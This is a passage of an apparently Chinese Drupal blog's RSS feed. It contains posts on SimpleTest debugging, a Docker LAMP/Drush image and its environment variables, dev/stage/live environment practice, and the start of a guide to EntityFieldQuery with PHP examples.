&lt;p&gt;第二个字符串，&amp;rsquo;Access denied message found on forbidden foo page.&amp;lsquo;，是仅为测试这服务的，所以不应进行翻译。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;测试模块或者主题的输出，除非是明确要测试翻译功能。&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;在上面所有的例子中，如果需要格式化输出变量，可以使用 &lt;a href=&#34;http://api.drupal.org/api/drupal/includes%21bootstrap.inc/function/format_string/7&#34; target=&#34;_blank&#34;&gt;format_string()&lt;/a&gt;。&lt;/p&gt;

&lt;h2 id=&#34;simpletests-除错&#34;&gt;Simpletests 除错&lt;/h2&gt;

&lt;p&gt;在 test 设置中（*admin/config/development/testing/settings*）有一个选项叫 &amp;ldquo;Provide verbose information when running tests&amp;rdquo;，如果打开了这个选项，每个drupalGet() 和 drupalPost() 都会捕捉一个HTML文件，可以通过这些文件查看测试结果。这是个非常重要的除错手段。&lt;/p&gt;

&lt;p&gt;也可以使用 &lt;code&gt;$this-&amp;gt;verbose(&amp;quot;some message&amp;quot;)&lt;/code&gt;，参数中的消息会被输出。&lt;/p&gt;

&lt;p&gt;在 &lt;a href=&#34;http://blog.boombatower.com/drupal-7-debug-and-simpletest-verbose&#34; target=&#34;_blank&#34;&gt;Boombatower&amp;rsquo;s blog about debugging in Drupal 7&lt;/a&gt; 更多的 debug()和$this-&amp;gt;verbose() 的信息。&lt;/p&gt;

&lt;h2 id=&#34;接下来做什么&#34;&gt;接下来做什么？&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;&lt;p&gt;本文中提到的很多&lt;a href=&#34;http://drupal.org/node/265762&#34; target=&#34;_blank&#34;&gt;函数&lt;/a&gt;和&lt;a href=&#34;http://drupal.org/node/265828&#34; target=&#34;_blank&#34;&gt;断言&lt;/a&gt;的文档。&lt;/p&gt;&lt;/li&gt;

&lt;li&gt;&lt;p&gt;通读一下 drupal_web_test_case.php 会很有帮助。&lt;/p&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;注意，&lt;a href=&#34;http://drupal.org/user/30906&#34; target=&#34;_blank&#34;&gt;rfay&lt;/a&gt; 维护了一篇配合本文的&lt;a href=&#34;http://docs.google.com/present/view?id=ddsd5sw7_4286b2h6g4s&#34; target=&#34;_blank&#34;&gt;Google Docs presentation to go with this material&lt;/a&gt;。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>靠谱的适合 Drupal DevOps 实践的镜像</title>
      <link>/post/image-for-drupal-container/</link>
      <pubDate>Wed, 01 Jun 2016 06:37:43 +0800</pubDate>
      <guid>/post/image-for-drupal-container/</guid>
      <description>

&lt;blockquote&gt;
&lt;p&gt;有 Drush，有 Opcache，关键设置可通过环境变量进行调整。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h1 id=&#34;docker-pull-dustise-drush&#34;&gt;docker pull dustise/drush&lt;/h1&gt;

&lt;p&gt;LAMP image with drush involved.&lt;/p&gt;

&lt;h2 id=&#34;features&#34;&gt;Features&lt;/h2&gt;

&lt;h3 id=&#34;lamp-environment-for-drupal&#34;&gt;LAMP environment for Drupal&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;OS&lt;/strong&gt;: Ubuntu 14.04 LTS&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PHP&lt;/strong&gt;: 5.5.9&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Apache&lt;/strong&gt;: 2.4.7&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PHP Extensions&lt;/strong&gt;:

&lt;ul&gt;
&lt;li&gt;mcrypt&lt;/li&gt;
&lt;li&gt;gd&lt;/li&gt;
&lt;li&gt;memcached&lt;/li&gt;
&lt;li&gt;mysql&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Opcache enabled&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Drush&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;path&#34;&gt;Path&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/web/codebase&lt;/code&gt;: Web Root&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/web/logs&lt;/code&gt;: Log Root&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;more-environment-variables&#34;&gt;More environment variables&lt;/h3&gt;

&lt;p&gt;Can be replaced through parameters of &lt;code&gt;docker run&lt;/code&gt; command&lt;/p&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Variable&lt;/th&gt;
&lt;th&gt;Default&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PHP_DATE_TIMEZONE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;Asia/Shanghai&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PHP_MAX_EXECUTION_TIME&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;30&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PHP_MEMORY_LIMIT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;128M&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PHP_ERROR_REPORTING&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;E_ALL &amp;amp; ~E_DEPRECATED &amp;amp; ~E_STRICT&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PHP_UPLOAD_MAX_FILESIZE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;2M&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_STARTSERVERS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;5&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MINSPARESERVERS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;5&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAXSPARESERVERS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;10&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAXREQUESTWORKERS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;100&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAXCONNECTIONSPERCHILD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;0&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_TIMEOUT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;300&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAXKEEPALIVEREQUESTS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;100&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_KEEPALIVETIMEOUT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;5&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAX_ACCESSLOG&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;500M&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAX_ERRORLOG&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;50M&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&#34;log-file-will-be-truncated&#34;&gt;Log file will be truncated&lt;/h3&gt;

&lt;p&gt;We can set max file size through the variables of error log (&lt;code&gt;APACHE_MAX_ERRORLOG&lt;/code&gt;) and access log (&lt;code&gt;APACHE_MAX_ACCESSLOG&lt;/code&gt;). &lt;code&gt;rotatelog&lt;/code&gt; will truncate the log files when it exceed the limitaion.&lt;/p&gt;

&lt;hr /&gt;

&lt;p&gt;为 Drupal 容器化准备的一个 Docker 镜像。&lt;/p&gt;

&lt;h2 id=&#34;特性&#34;&gt;特性&lt;/h2&gt;

&lt;h3 id=&#34;适用于-drupal-的-lamp-环境&#34;&gt;适用于 Drupal 的 LAMP 环境&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;操作系统&lt;/strong&gt;：Ubuntu 14.04 LTS&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PHP&lt;/strong&gt;：5.5.9&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Apache&lt;/strong&gt;：2.4.7&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PHP 扩展&lt;/strong&gt;：

&lt;ul&gt;
&lt;li&gt;mcrypt&lt;/li&gt;
&lt;li&gt;memcached&lt;/li&gt;
&lt;li&gt;mysql&lt;/li&gt;
&lt;li&gt;gd&lt;/li&gt;
&lt;/ul&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Opcache 已启用&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Drush&lt;/strong&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;路径&#34;&gt;路径&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;/web/codebase&lt;/code&gt;: Web 根目录&lt;/li&gt;
&lt;li&gt;&lt;code&gt;/web/logs&lt;/code&gt;: 日志根目录&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;可配置的环境变量&#34;&gt;可配置的环境变量&lt;/h3&gt;

&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;变量名称&lt;/th&gt;
&lt;th&gt;缺省值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;

&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PHP_DATE_TIMEZONE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;Asia/Shanghai&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PHP_MAX_EXECUTION_TIME&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;30&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PHP_MEMORY_LIMIT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;128M&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PHP_ERROR_REPORTING&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;E_ALL &amp;amp; ~E_DEPRECATED &amp;amp; ~E_STRICT&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;PHP_UPLOAD_MAX_FILESIZE&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;2M&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_STARTSERVERS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;5&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MINSPARESERVERS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;5&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAXSPARESERVERS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;10&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAXREQUESTWORKERS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;100&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAXCONNECTIONSPERCHILD&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;0&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_TIMEOUT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;300&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAXKEEPALIVEREQUESTS&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;100&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_KEEPALIVETIMEOUT&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;5&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAX_ACCESSLOG&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;500M&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;

&lt;tr&gt;
&lt;td&gt;&lt;code&gt;APACHE_MAX_ERRORLOG&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;&amp;ldquo;&lt;code&gt;50M&lt;/code&gt;&amp;ldquo;&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;

&lt;h3 id=&#34;日志的自动截断&#34;&gt;日志的自动截断&lt;/h3&gt;

&lt;p&gt;保存在 &lt;code&gt;/web/logs&lt;/code&gt; 中的日志，可以利用 &lt;code&gt;APACHE_MAX_ACCESSLOG&lt;/code&gt; 和 &lt;code&gt;APACHE_MAX_ERRORLOG&lt;/code&gt; 两个变量来调整最大文件尺寸，超出限制的日志将会被截断。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>Drupal 开发和服务环境的最佳实践</title>
      <link>/post/drupal-development-and-server-environment-best-practices/</link>
      <pubDate>Thu, 07 Apr 2016 19:53:32 +0800</pubDate>
      <guid>/post/drupal-development-and-server-environment-best-practices/</guid>
      <description>

&lt;p&gt;原文：&lt;a href=&#34;https://www.chapterthree.com/blog/drupal-development-and-server-environment-best-practices&#34; target=&#34;_blank&#34;&gt;Drupal Development and Server Environment Best Practices&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;一个新项目在启动初期，往往需要向客户描述一下我们的开发流程。这一过程帮助我们的客户相信，我们的流程能够为项目的短期和长期目标提供有力的保障。这其中自然需要描述我们的环境。幸运的是，有很多 Drupal 为中心的项目主机环境可以参考，我们的团队根据项目需要进行主机选择。这意味着我们几乎同所有的 Drupal 主机平台打过交道，因此我们对各个选项的优劣是比较清楚的。&lt;/p&gt;

&lt;h2 id=&#34;git-是基础的基础&#34;&gt;Git 是基础的基础&lt;/h2&gt;

&lt;p&gt;第一，最重要的，所有的 Drupal 开发（其他开发也应该是）都应该使用 Git。Git 是一个用于分布式开发、非线性流程的版本控制系统。简单说来，Git 能有效的保护你的代码，防止误操作等人为损失。他还提供了详细的工作历史。Git 具有&lt;a href=&#34;http://explainxkcd.com/wiki/images/4/4d/git.png&#34; target=&#34;_blank&#34;&gt;最佳的性价比&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/1-git.png&#34; alt=&#34;git&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;利用 Git 进行版本控制，解决开发问题，保障工作成果。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;home-sweet-home&#34;&gt;HOME SWEET HOME&lt;/h2&gt;

&lt;p&gt;在古代 Web 中，通常是站长利用 FTP 工具在 Web 服务器上直接编辑文件。现在我们知道的更多了。开发者首先在“本地环境”中进行开发：软件在本地工作站上模拟的服务器环境上运行。在本地环境中，开发者能够编写排错代码，而无需担心影响到服务器上正在被客户或同事使用的版本。无需多言，这是个很快的开发方式。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/2-local.png&#34; alt=&#34;develop locally&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;本地开发很快，容易理解，避免影响服务端。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;三个火枪手-开发-dev-预发布-stage-生产-live-环境&#34;&gt;三个火枪手：开发（DEV）、预发布(STAGE)、生产(LIVE)环境&lt;/h2&gt;

&lt;p&gt;对于绝大多数项目来说，为开发和发布过程准备三套分离的服务器环境都是必要的。典型的工作方式是：代码上推，内容下拉。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/3-envs.png&#34; alt=&#34;Server Environments&#34; /&gt;&lt;/p&gt;

&lt;h3 id=&#34;1-开发环境&#34;&gt;1 - 开发环境&lt;/h3&gt;

&lt;blockquote&gt;
&lt;p&gt;DEV 这里的定义跟我所知的情况不太一致，这里描述的 DEV 环境，我们一般称为集成环境，用于汇总开发人员所提交的所有内容，集成起来进行测试。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;开发环境是三套环境中的第一套，所有的工作首先都会发布在开发环境中。这个环境比较随意，所以试验性的代码都可以在上面进行发布。一般来说这个环境是客户无法访问的，用来测试开发工作。这也意味着开发环境的内容经常会被预发布和生产环境的内容所覆盖。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/4-dev_0.png&#34; alt=&#34;Development&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;内容处于杂乱状态。
一般在新代码发布后会用线上数据进行覆盖。
用来验证功能能否在服务器上正常运行。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;2-预发布环境&#34;&gt;2 - 预发布环境&lt;/h3&gt;

&lt;p&gt;开发环境中的代码经过验证之后，会被移交到预发布环境（“Stage” 或者 “Test”）中，这一环境会利用生产环境的数据来进行测试，不会影响生产环境。一般来说，出于测试目的，该环境的内容会很接近生产环境。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/5-stage_0.png&#34; alt=&#34;Stage&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;内容和文件和线上环境很接近。
常常被线上的数据和文件覆盖。
用来验证应用是否能配合线上环境进行工作。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3 id=&#34;3-生产环境&#34;&gt;3 - 生产环境&lt;/h3&gt;

&lt;p&gt;生产环境也就是线上环境。所有的开发工作，在前两个环境中完成所有测试和审查后，最终会发布到本环境中。从其他环境中的内容很少会覆盖到生产环境。&lt;/p&gt;

&lt;p&gt;&lt;img src=&#34;images/6-live_0.png&#34; alt=&#34;Live&#34; /&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;慎重对待三套环境，保障上线活动的精准。&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2 id=&#34;合而为一&#34;&gt;合而为一&lt;/h2&gt;

&lt;p&gt;开发过程可谓是诡异莫测 - 因此需要真正的开发流程进行保障。确保项目和开发团队遵循上述原则，能够节省时间、成本，降低项目事故的风险。&lt;/p&gt;
</description>
    </item>
    
    <item>
      <title>如何使用EntityFieldQuery</title>
      <link>/post/drupal-entityfieldquery-guide/</link>
      <pubDate>Wed, 06 Apr 2016 16:44:01 +0800</pubDate>
      <guid>/post/drupal-entityfieldquery-guide/</guid>
      <description>

&lt;p&gt;如何使用 EntityFieldQuery&lt;/p&gt;

&lt;p&gt;EntityFieldQuery 是 Drupal 7 中新增的一个类，允许利用指定条件获取符合条件的实体。查询条件可以基于属性，字段值以及一些其他的通用的实体元数据。他的语法非常紧凑和实用，而且这一功能由Drupal核心提供，无需另外安装其他模块。&lt;/p&gt;

&lt;p&gt;&lt;a href=&#34;http://api.drupal.org/api/drupal/includes--entity.inc/class/EntityFieldQuery/7&#34; target=&#34;_blank&#34;&gt;API 手册&lt;/a&gt;以及 modules\simpletest\tests\entity_query.test 中的测试用例，可以作为 EntityFieldQuery 的权威文档。&amp;rdquo;EntityFieldQuery&amp;rdquo; 类包含于 includes/entity.inc中。本文仅作为一个入门的简介供读者参考。&lt;/p&gt;

&lt;h2 id=&#34;建立一个查询&#34;&gt;建立一个查询&lt;/h2&gt;

&lt;p&gt;下面是一个简单的查询，用来查询所有包含今年教员照片的所有文章。下面的最后五行代码，&lt;code&gt;$result&lt;/code&gt;是一个联合数组，第一个键是实体类型，第二个键是实体编号（例如&lt;code&gt;$result[&#39;node&#39;][12322] = Node数据&lt;/code&gt; ），注意如果结果集为空，则其中不会有 &amp;lsquo;node&amp;rsquo; 键，因此需要用 isset来检查，&lt;a href=&#34;http://drupal.org/node/1427098&#34; target=&#34;_blank&#34;&gt;这里&lt;/a&gt;介绍了这种做法的来由。&lt;/p&gt;

&lt;pre&gt;&lt;code class=&#34;language-php&#34;&gt;&amp;lt;?php
$query = new EntityFieldQuery();
$query-&amp;gt;entityCondition(&#39;entity_type&#39;, &#39;node&#39;)
-&amp;gt;entityCondition(&#39;bundle&#39;, &#39;article&#39;)
-&amp;gt;propertyCondition(&#39;status&#39;, 1)
-&amp;gt;fieldCondition(&#39;field_news_types&#39;, &#39;value&#39;, &#39;spotlight&#39;, &#39;=&#39;)
-&amp;gt;fieldCondition(&#39;field_photo&#39;, &#39;fid&#39;, &#39;NULL&#39;, &#39;!=&#39;)
-&amp;gt;fieldCondition(&#39;field_faculty_tag&#39;, &#39;tid&#39;, $value)
-&amp;gt;fieldCondition(&#39;field_news_publishdate&#39;, &#39;value&#39;, $year . &#39;%&#39;, &#39;like&#39;)
-&amp;gt;fieldOrderBy(&#39;field_photo&#39;, &#39;fid&#39;, &#39;DESC&#39;)
-&amp;gt;range(0, 10)
-&amp;gt;addMetaData(&#39;account&#39;, user_load(1)); // Run the query as user 1.
$result = $query-&amp;gt;execute();
if (isset($result[&#39;node&#39;])) {
$news_items_nids = array_keys($result[&#39;node&#39;]);
$news_items = entity_load(&#39;node&#39;, $news_items_nids);
}
?&amp;gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;h2 id=&#34;entitycondition-name-value-operator-null-http-api-drupal-org-api-drupal-includes-entity-inc-function-entityfieldquery-3a-3aentitycondition-7&#34;&gt;&lt;a href=&#34;http://api.drupal.org/api/drupal/includes--entity.inc/function/EntityFieldQuery%3A%3AentityCondition/7&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;-&amp;gt;entityCondition($name, $value, $operator = NULL)&lt;/code&gt;&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;entityConditions 是绝大多数实体类在 DrupalDefaultEntityController 类都应该支持的查询条件。&lt;/p&gt;

&lt;h3 id=&#34;entity-type&#34;&gt;entity_type&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;取值举例：&amp;rsquo;node&amp;rsquo;, &amp;lsquo;taxnonomy_term&amp;rsquo;, &amp;lsquo;comment&amp;rsquo;, &amp;lsquo;user&amp;rsquo;, &amp;lsquo;file&amp;rsquo;&lt;/li&gt;
&lt;li&gt;操作符举例：不需要&lt;/li&gt;
&lt;li&gt;$query-&amp;gt;entityCondition(&amp;lsquo;entity_type&amp;rsquo;, &amp;lsquo;node&amp;rsquo;)&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;bundle-comment实体类型不支持&#34;&gt;bundle（comment实体类型不支持）&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;取值举例：&amp;rsquo;artical&amp;rsquo;, &amp;lsquo;page&amp;rsquo;&lt;/li&gt;
&lt;li&gt;操作符举例：&amp;rsquo;=&amp;rsquo; 字符串，或者 &amp;lsquo;IN&amp;rsquo; 数组&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$query-&amp;gt;entityCondition(&#39;bundle&#39;, &#39;article&#39;)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;revision-id&#34;&gt;revision_id&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;取值举例：3, 4, 52, 342&lt;/li&gt;
&lt;li&gt;操作符举例：整数&lt;code&gt;=, &amp;lt;, &amp;gt;, !=&lt;/code&gt;，数组可以使用&amp;rsquo;IN&amp;rsquo;和&amp;rsquo;NOT IN&amp;rsquo;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$query-&amp;gt;entityCondition(&#39;revision_id&#39;, $revision_id, &#39;=&#39;)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h3 id=&#34;entity-id-例如-node-id&#34;&gt;entity_id 例如 node id&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;取值举例：3,4,52,342&lt;/li&gt;
&lt;li&gt;操作符举例：整数 &lt;code&gt;=, &amp;lt;, &amp;gt;, !=&lt;/code&gt;，数组可以使用 &amp;lsquo;IN&amp;rsquo; 和 &amp;lsquo;NOT IN&amp;rsquo;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$query-&amp;gt;entityCondition(&#39;entity_id&#39;, array(17, 21,422), &#39;IN&#39;)&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;h2 id=&#34;propertycondition-name-value-operator-null-http-api-drupal-org-api-drupal-includes-entity-inc-function-entityfieldquery-3a-3apropertycondition-7&#34;&gt;&lt;a href=&#34;http://api.drupal.org/api/drupal/includes!entity.inc/function/EntityFieldQuery%3A%3ApropertyCondition/7&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;-&amp;gt;propertyCondition($name, $value, $operator = NULL)&lt;/code&gt;&lt;/a&gt;&lt;/h2&gt;

&lt;p&gt;这些条件针对各种实体实现，例如Node, user, comment等。基本上是映射到entity自身的数据表字段中。例如node, users, comment, &lt;code&gt;file_managed&lt;/code&gt;, &lt;code&gt;taxonomy_term_data&lt;/code&gt;类似的表。用grep/search来查找&amp;rdquo;Implements hook_entity_info()&amp;ldquo;能查到实体对应的数据表。&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;status (nodes)&lt;/strong&gt; 例如： &lt;code&gt;-&amp;gt;propertyCondition(&#39;status&#39;, 1)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;type (nodes)&lt;/strong&gt; 例如： &lt;code&gt;-&amp;gt;propertyCondition(&#39;type&#39;, array(&#39;article&#39;, &#39;page&#39;, &#39;blog&#39;))&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;uid (nodes)&lt;/strong&gt; 例如： &lt;code&gt;-&amp;gt;propertyCondition(&#39;uid&#39;, $uid)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;uri (media)&lt;/strong&gt; 例如： &lt;code&gt;-&amp;gt;propertyCondition(&#39;uri&#39;, &#39;%.jpg&#39;, &#39;LIKE&#39;)&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;type (media)&lt;/strong&gt; 例如： &lt;code&gt;-&amp;gt;propertyCondition(&#39;type&#39;, &#39;image&#39;);&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;##&lt;a href=&#34;http://api.drupal.org/api/drupal/includes--entity.inc/function/EntityFieldQuery%3A%3AfieldCondition/7&#34; target=&#34;_blank&#34;&gt;&lt;code&gt;-&amp;gt;fieldCondition($field, $column = NULL, $value = NULL, $operator = NULL, $delta_group = NULL, $language_group = NULL)&lt;/code&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;这类条件针对实体的字段来执行。&lt;/p&gt;

&lt;p&gt;比如要查找 article node 的 body 字段：&lt;code&gt;-&amp;gt;fieldCondition(&#39;body&#39;, &#39;value&#39;, &#39;A&#39;, &#39;STARTS_WITH&#39;)&lt;/code&gt;&lt;/p&gt;

&lt;ul&gt;
